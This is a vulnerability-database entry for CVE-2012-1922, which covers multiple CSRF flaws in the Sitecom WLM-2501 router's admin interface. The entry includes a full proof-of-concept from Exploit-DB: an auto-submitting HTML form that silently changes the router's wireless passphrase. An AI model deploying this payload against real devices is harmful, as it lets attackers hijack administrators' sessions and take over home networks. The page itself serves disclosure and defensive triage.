CVE-2012-1922

medium

Published 2013-01-24 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

7.8

Description

Multiple cross-site request forgery (CSRF) vulnerabilities in Sitecom WLM-2501 allow remote attackers to hijack the authentication of administrators for requests that modify settings for (1) Mac Filtering via admin/formFilter, (2) IP/Port Filtering via formFilter, (3) Port Forwarding via formPortFw, (4) Wireless Access Control via admin/formWlAc, (5) Wi-Fi Protected Setup via formWsc, (6) URL Blocking Filter via formURL, (7) Domain Blocking Filter via formDOMAINBLK, and (8) IP Address ACL Filter via admin/formACL in goform/, different vectors than CVE-2012-1921.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-18651 webapps asp

Ivano Binetti · 2012-03-23

Sitecom WLM-2501 - Multiple Cross-Site Request Forgery Vulnerabilities

Source code queued for fetch — refresh in a moment.

EDB-18597 webapps hardware text · 2 KB

Ivano Binetti · 2012-03-14

Sitecom WLM-2501 - Cross-Site Request Forgery

text exploit Source: Exploit-DB

+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title    : Sitecom WLM-2501 Change Wireless Passphrase
# Date             : 13-03-2012
# Author           : Ivano Binetti (http://www.ivanobinetti.com)
# Vendor site      : http://www.sitecom.com/wireless-modem-router-300n/p/859
# Version          : WLM-2501
# Tested on        : WLM-2501 (All Sitecom WL series might be is affected by these vulnerabilities)
# Original Advisory: http://ivanobinetti.blogspot.com/2012/03/sitecom-wlm-2501-change-wireless.html
+--------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
2)Vulnerability Description
3)Exploit

+--------------------------------------------------------------------------------------------------------------------------------+

1)Introduction 
Sitecom WLM-2501 is a Wireless Modem Router 300N which uses a web management interface - listening to default on tcp/ip port 80
- and "admin" as default administrator. His default ip address is 192.168.0.1.


2)Vulnerability Description
The web interface of this router is affected by muktiple CSRF vulnerabilities which allows to change router parameters and 
- among other things - to change Wireless Passphrase.

3)Exploit 
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change Wireless Passphrase</H2>
<form method="POST" name="form0" action="http://192.168.0.1:80/goform/admin/formWlEncrypt">
<input type="hidden" name="wlanDisabled" value="OFF"/>
<input type="hidden" name="method" value="6"/>
<input type="hidden" name="wpaAuth" value="psk"/>
<input type="hidden" name="pskFormat" value="0"/>
<input type="hidden" name="pskValue" value="newpassword"/>
<input type="hidden" name="submit-url" value="%2Fwlwpa.asp"/>
<input type="hidden" name="save" value="Apply"/>
</form>
</body>
</html>


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References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.